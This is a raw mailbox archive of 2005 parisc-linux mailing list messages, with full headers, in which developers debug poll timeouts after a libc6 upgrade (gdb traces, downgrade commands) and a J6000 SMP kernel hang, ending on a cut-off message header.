	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10279-06; Sun, 11 Sep 2005 10:06:40 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 22A457D69E;
	Sun, 11 Sep 2005 10:06:39 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7A06E7D69B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Sep 2005 10:06:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10279-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Sep 2005 10:06:35 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id C722A7D69A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Sep 2005 10:06:34 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j8BG6XXO025671 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Sep 2005 12:06:34 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j8BG6X7U025669
	for parisc-linux@lists.parisc-linux.org;
	Sun, 11 Sep 2005 12:06:33 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: QzNWY6xCeSEkSL6WZHQhaXN1IGRvb8Do
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23146

I updated my c3k yesterday afternoon.  This upgrade included libc6
version 2.3.5-6.  I now find that many commands run as slow as molasses.
For example,

dave@hiauly6:~$ time ls -ltr
total 3300
...
real    0m20.024s
user    0m0.006s
sys     0m0.015s

There aren't that many files in this directory!

Looking at the command under gdb, I find that poll seems to be
timing out:

Dump of assembler code for function poll:
0x408543d4 <*__GI___poll+0>:    stw rp,-14(,sp)
0x408543d8 <*__GI___poll+4>:    addil 1000,r19,%r1
0x408543dc <*__GI___poll+8>:    ldw 484(,r1),ret0
0x408543e0 <*__GI___poll+12>:   stw,ma r7,80(,sp)
0x408543e4 <*__GI___poll+16>:   stw r6,-7c(,sp)
0x408543e8 <*__GI___poll+20>:   copy r26,r6
0x408543ec <*__GI___poll+24>:   stw r5,-78(,sp)
0x408543f0 <*__GI___poll+28>:   copy r25,r5
0x408543f4 <*__GI___poll+32>:   stw r3,-70(,sp)
0x408543f8 <*__GI___poll+36>:   stw r4,-74(,sp)
0x408543fc <*__GI___poll+40>:   stw r19,-20(,sp)
0x40854400 <*__GI___poll+44>:   ldw 0(,ret0),r20
0x40854404 <*__GI___poll+48>:   cmpib,<> 0,r20,0x40854464 <*__GI___poll+144>
0x40854408 <*__GI___poll+52>:   copy r24,r3
0x4085440c <*__GI___poll+56>:   copy r19,r4
0x40854410 <*__GI___poll+60>:   be,l 100(sr2,r0),%sr0,%r31
0x40854414 <*__GI___poll+64>:   ldi a8,r20
0x40854418 <*__GI___poll+68>:   copy r4,r19

Starting program: /bin/ls -ltr
Breakpoint 1 at 0x40854418
Breakpoint 1 at 0x40854418: file ../sysdeps/unix/sysv/linux/poll.c, line 82.
[Thread debugging using libthread_db enabled]
[New Thread 16384 (LWP 3198)]
total 3300
[Switching to Thread 16384 (LWP 3198)]

Breakpoint 1, 0x40854418 in *__GI___poll (fds=0xc03feec8, nfds=1, timeout=5000)     at ../sysdeps/unix/sysv/linux/poll.c:82
82      ../sysdeps/unix/sysv/linux/poll.c: No such file or directory.
    in ../sysdeps/unix/sysv/linux/poll.c
(gdb) p $ret0
$6 = 1
(gdb) c
Continuing.

Breakpoint 1, 0x40854418 in *__GI___poll (fds=0xc03fecc8, nfds=1, timeout=5000)
    at ../sysdeps/unix/sysv/linux/poll.c:82
82      in ../sysdeps/unix/sysv/linux/poll.c
(gdb) p $ret0
$7 = 0
(gdb) bt
#0  0x40854418 in *__GI___poll (fds=0xc03fecc8, nfds=1, timeout=5000)
    at ../sysdeps/unix/sysv/linux/poll.c:82
#1  0x407ecb08 in _IO_new_fclose (fp=0x1388) at iofclose.c:88
#2  0x40896708 in get_mapping (type=Variable "type" is not available.
) at nscd_helper.c:195
#3  0x407f96a4 in _IO_new_file_write (f=0x7363642f, data=0x736f636b,
    n=1970155374) at fileops.c:1260
#4  0x00008800 in ?? ()
Cannot find bounds of current function (@0x0), unwinding will fail.

Any thoughts on what's wrong?  The gdb backtrace is messed up because
the callinfo data isn't right for the syscall.  The call to __GI___poll
is actually from get_mapping at nscd_helper.c:195.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New libc6 2.3.5-6: poll timeouts
Date: Sun, 11 Sep 2005 11:47:44 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <1126457264.4831.23.camel@mulgrave>
References: <200509111606.j8BG6X7U025669@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623920 16665 80.91.229.3 (22 Nov 2014 02:38:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:40 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Sep 2005 16:48:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx019) with SMTP; 11 Sep 2005 18:48:01 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4A3337D6B0;
	Sun, 11 Sep 2005 10:47:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10443-10; Sun, 11 Sep 2005 10:47:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A92C07D6B1;
	Sun, 11 Sep 2005 10:47:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B4E877D6AF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Sep 2005 10:47:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10602-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Sep 2005 10:47:53 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id ED94C7D6AA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Sep 2005 10:47:52 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	j8BGliA29934; Sun, 11 Sep 2005 12:47:44 -0400
In-Reply-To: <200509111606.j8BG6X7U025669@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.0.4 (2.0.4-6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: lTpWY7YWeSEkYb6WZHQhaXN1IGRvbwDo
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23147

On Sun, 2005-09-11 at 12:06 -0400, John David Anglin wrote:
> I updated my c3k yesterday afternoon.  This upgrade included libc6
> version 2.3.5-6.  I now find that many commands run as slow as molasses.
> For example,

libc6 from testing (and, actually unstable) doesn't currently work.  We
think it's the fact that it's compiled with gcc-4.0.

You have one of the minor symptoms ... try starting bind9 ...

Lamont is supposed to be arranging a binNMU of libc6 compiled with
gcc-3.3.5, but temporarily you can just force install libc6 from stable.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New libc6 2.3.5-6: poll timeouts
Date: Sun, 11 Sep 2005 14:18:56 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200509111818.j8BIIu7a026195@hiauly1.hia.nrc.ca>
References: <1126457264.4831.23.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623920 16667 80.91.229.3 (22 Nov 2014 02:38:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James.Bottomley@SteelEye.com (James Bottomley)
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Sep 2005 18:19:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 11 Sep 2005 20:19:06 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7CDFC7D6BA;
	Sun, 11 Sep 2005 12:19:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11306-03; Sun, 11 Sep 2005 12:19:03 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C9EA07D6BB;
	Sun, 11 Sep 2005 12:19:02 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C3DBF7D6B9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Sep 2005 12:18:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10970-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Sep 2005 12:18:58 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 1DA997D6B8
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Sep 2005 12:18:58 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j8BIIuXO026196; Sun, 11 Sep 2005 14:18:57 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j8BIIu7a026195;
	Sun, 11 Sep 2005 14:18:56 -0400 (EDT)
In-Reply-To: <1126457264.4831.23.camel@mulgrave> from "James Bottomley" at Sep
	11, 2005 11:47:44 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: TBBWYxV8eSEkTL6WZHQhaXN1IGRvb8DV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23148

> Lamont is supposed to be arranging a binNMU of libc6 compiled with
> gcc-3.3.5, but temporarily you can just force install libc6 from stable.

If I try to do this with apt-get, it will remove half the packages on
the system.  So, either I have to manually downgrade with dpkg or wait
for Lamont.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New libc6 2.3.5-6: poll timeouts
Date: Sun, 11 Sep 2005 15:34:46 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <1126470886.4831.25.camel@mulgrave>
References: <200509111818.j8BIIu7a026195@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623920 16668 80.91.229.3 (22 Nov 2014 02:38:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:40 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Sep 2005 20:35:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx064) with SMTP; 11 Sep 2005 22:35:04 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5B5477D6CA;
	Sun, 11 Sep 2005 14:35:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12059-05; Sun, 11 Sep 2005 14:35:00 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C13BA7D6CC;
	Sun, 11 Sep 2005 14:34:59 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DEA8E7D6C8
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Sep 2005 14:34:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11861-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Sep 2005 14:34:56 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id 2164A7D6C4
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Sep 2005 14:34:56 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	j8BKYlA06789; Sun, 11 Sep 2005 16:34:47 -0400
In-Reply-To: <200509111818.j8BIIu7a026195@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.0.4 (2.0.4-6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: r/FWY89BeSEkMr6WZHQhaXN1IGRvb0B1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23149

On Sun, 2005-09-11 at 14:18 -0400, John David Anglin wrote:
> > Lamont is supposed to be arranging a binNMU of libc6 compiled with
> > gcc-3.3.5, but temporarily you can just force install libc6 from stable.
> 
> If I try to do this with apt-get, it will remove half the packages on
> the system.  So, either I have to manually downgrade with dpkg or wait
> for Lamont.

You do it like this

apt-get -d install libc6/stable

which will download but not install it

then

dpkg -i /var/cache/apt/archive/libc6-<version>.deb

which will install it ignoring all of apt's dependencies

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux J6000 Hangs with 2.6.13-32-pa1-smp
Date: Sun, 11 Sep 2005 14:47:25 -0600
Lines: 64
Approved: news@gmane.org
Message-ID: <20050911204725.GB8192@colo.lackof.org>
References: <431F4176.3040909@netvisao.pt>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623921 16669 80.91.229.3 (22 Nov 2014 02:38:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Antonio Cardoso Martins <digiplan@netvisao.pt>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Sep 2005 20:41:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx042) with SMTP; 11 Sep 2005 22:41:26 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 499997D6DA;
	Sun, 11 Sep 2005 14:41:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12197-08; Sun, 11 Sep 2005 14:41:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E75027D6D6;
	Sun, 11 Sep 2005 14:41:22 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 700147D6D3
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Sep 2005 14:41:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12197-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Sep 2005 14:41:18 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id D4B9A7D6CA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Sep 2005 14:41:18 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id D900129802F;
	Sun, 11 Sep 2005 14:47:26 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19029-04; Sun, 11 Sep 2005 14:47:25 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 64728298013; Sun, 11 Sep 2005 14:47:25 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <431F4176.3040909@netvisao.pt>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: IPNWY4oveSEkWL6WZHQhaXN1IGRvb0Dl
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23150

On Wed, Sep 07, 2005 at 08:37:26PM +0100, Antonio Cardoso Martins wrote:
> Grant, thank you very much for your prompt replies.

welcome

> "ser pim" is just to collect diagnostic info.
> It doesn't attempt to boot the machine or anything else.
> 
> I see, but what i was trying to tell you, is that after making "ser 
> pim", "ser clearpim", and "boot pri ipl", the machine wont boot unitl i 
> turn it off completely first. I think this could be not relevant. It's 
> just my urge to document abnormal behaviour from J6000.

ah ok - as jda mentioned, that is a known problem.


> Back to the bug trace, you asked me to find
> 
> 	0x0000000010115414 (IIA Offset)
> 	0x0000000010490010 (GR02)
> 	0x0000000010115410 (CR18)
> 
> in the corresponding System.map?
> 
> The results are:

To make life easier, you might try:
	http://cvs.parisc-linux.org/*checkout*/build-tools/a.c?content-type=text%2Fplain&rev=1.2

(or "cvs -d :pserver:anonymous@cvs.parisc-linux.org:/var/cvs co build-tools"
 and then "cd build-tools; make a"

> ...
> 101150c0 T smp_send_reschedule
> 10115150 T smp_call_function
> 101154b4 T smp_flush_tlb_all
> 101154f4 T smp_do_timer
> 10115558 T smp_prepare_boot_cpu
> 10115668 T smp_cpus_done
> 1011566c T __cpu_up
> 101156cc T smp_send_stop
> ...
> 1049000c D proc_gsc_root
> 10490010 D proc_mckinley_root
> 10490014 D parisc_vmerge_boundary
> ...
> 
> Hope you can find what you were looking for

IOAQ is near the end of smp_call_function().
GR02 (return pointer) is proc_mckinley_root.

Odd that GR02 would point at data ("D").
Unless gr02 is being trashed by smp_call_function.
But I don't see where smp_call_function() would touch
gr02 and trash it. Something wierd is up.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.14-rc1 [Was: 2.6.13-pa1 + mm1 relayfs +
